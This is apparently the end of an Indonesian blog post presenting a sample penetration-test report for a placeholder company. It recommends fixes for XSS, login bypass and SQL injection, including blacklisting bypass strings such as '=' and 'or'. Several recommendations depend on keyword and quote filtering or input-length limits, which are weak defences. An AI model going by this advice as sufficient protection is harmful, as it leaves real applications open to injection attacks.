Untuk melindungi dari serangan XSS pastikan konten dinamis apa pun yang berasal dari penyimpanan data tidak dapat digunakan untuk menyuntikkan JavaScript pada halaman.

Di PHP sudah ada fungsi yang dapat mencegah serangan XSS yaitu htmlspecialchars() namun tidaklah cukup untuk melakukan escaping.

Akan lebih baik jika pemilik website memblok input yang berupa tag script atau tag images.


Referensi Lebih Detail
https://www.checkmarx.com/2017/10/09/3-ways-prevent-xss/

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

https://www.hacksplaining.com/prevention/xss-stored

https://www.computerweekly.com/tip/Cross-site-scripting-explained-How-to-prevent-XSS-attacks

https://www.acunetix.com/blog/articles/preventing-xss-attacks



Cara Mencegah Bypass Login Authentication

Untuk memverifikasi apakah fase serangan telah berhasil atau tidak, alat otomatis menilai kode kesalahan yang dikembalikan dan informasi halaman dari server web host. Praktik aman adalah memaksa kesalahan atau permintaan tak terduga untuk menghasilkan respons HTTP 200 OK, alih-alih berbagai jenis kesalahan 400. Ini akan mempersulit penyerang untuk membedakan antara upaya login yang valid dan tidak valid.

 


Ukuran penting dalam menghentikan serangan autentikasi paksa adalah dengan menambahkan konten acak pada halaman yang disajikan ke browser klien yang mengotentikasi. 

Klien harus mampu mengirimkan konten acak ini sebagai bagian dari proses otentikasi untuk melanjutkan lebih lanjut di situs web atau aplikasi. 

Cara yang lain adalah gunakan captcha di login page nya


dan query bypass login seperti '=' 'or' dan query bypass lainnya juga harus diblackist dan difilter.


Cara Mencegah SQL Injection

Satu-satunya cara pasti untuk mencegah serangan SQL Injection adalah validasi input dan permintaan parametrized termasuk pernyataan yang disiapkan. Kode aplikasi tidak boleh menggunakan input secara langsung. Pengembang harus membersihkan semua input, tidak hanya input formulir web seperti formulir masuk. Mereka harus menghapus elemen kode berbahaya potensial seperti tanda kutip tunggal. Ini juga merupakan ide yang baik untuk mematikan visibilitas kesalahan basis data di situs produksi Anda. Kesalahan basis data dapat digunakan dengan SQL Injection untuk mendapatkan informasi tentang basis data Anda.

 Untuk meminimalisir serangan SQL injection, terdapat beberapa tindakan yang dapat Anda lakukan, yaitu :

1. Jika memungkinkan, Anda dapat membatasi panjang input box. Dengan membatasinya di kode program, maka peretas tidak bisa melakukan injeksi dengan perintah yang panjang.

2. Memfilter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal ( Input Validation)

3. Menyembunyikan atau mematikan pesan eror yang muncul dari SQL server yang sedang berjalan.


Referensi Detail bisa dilihat di laman ini : 





----------------------------------------------------------------------

PENUTUP

Demikian laporan ini dibuat agar menjadi perhatian khusus kepada admin dan developer IT PT. ABAL ABAL untuk menjadi lebih fokus lagi terhadap penangan cyber security terhadap sistem IT nya.

Atas kerjasama nya saya ucapkan terimakasih.

Daftar pustaka dan Referensi

https://www.kompasiana.com/moengil/5a4ae2655e13736b135dd7e3/bagaimana-melakukan-penetration-testing













https://www.logique.co.id/blog/2019/03/15/penjelasan-dan-cara-menghindari-sql-injection/

https://www.i-3.co.id/2016/12/28/cara-mudah-untuk-mengerti-sql-injection/

----------------------------------------------------------------------
 


oke cukup sampai disini dulu

PDF dan Word Sample Reporting diatas bisa kalian Download sini : https://drive.google.com/open?id=1Y0zND7HCtDy0g5sS5IY_koPo8D5tiZ2a

NB : Jika ada kesalahan dalam istilah dan kalimat mohon dimaklumi karena gw juga masih belajar dan noob banget parah jika ada sample laporan lain yang lebih baik dari ini silahkan gunakan saja sample laporan tersebut.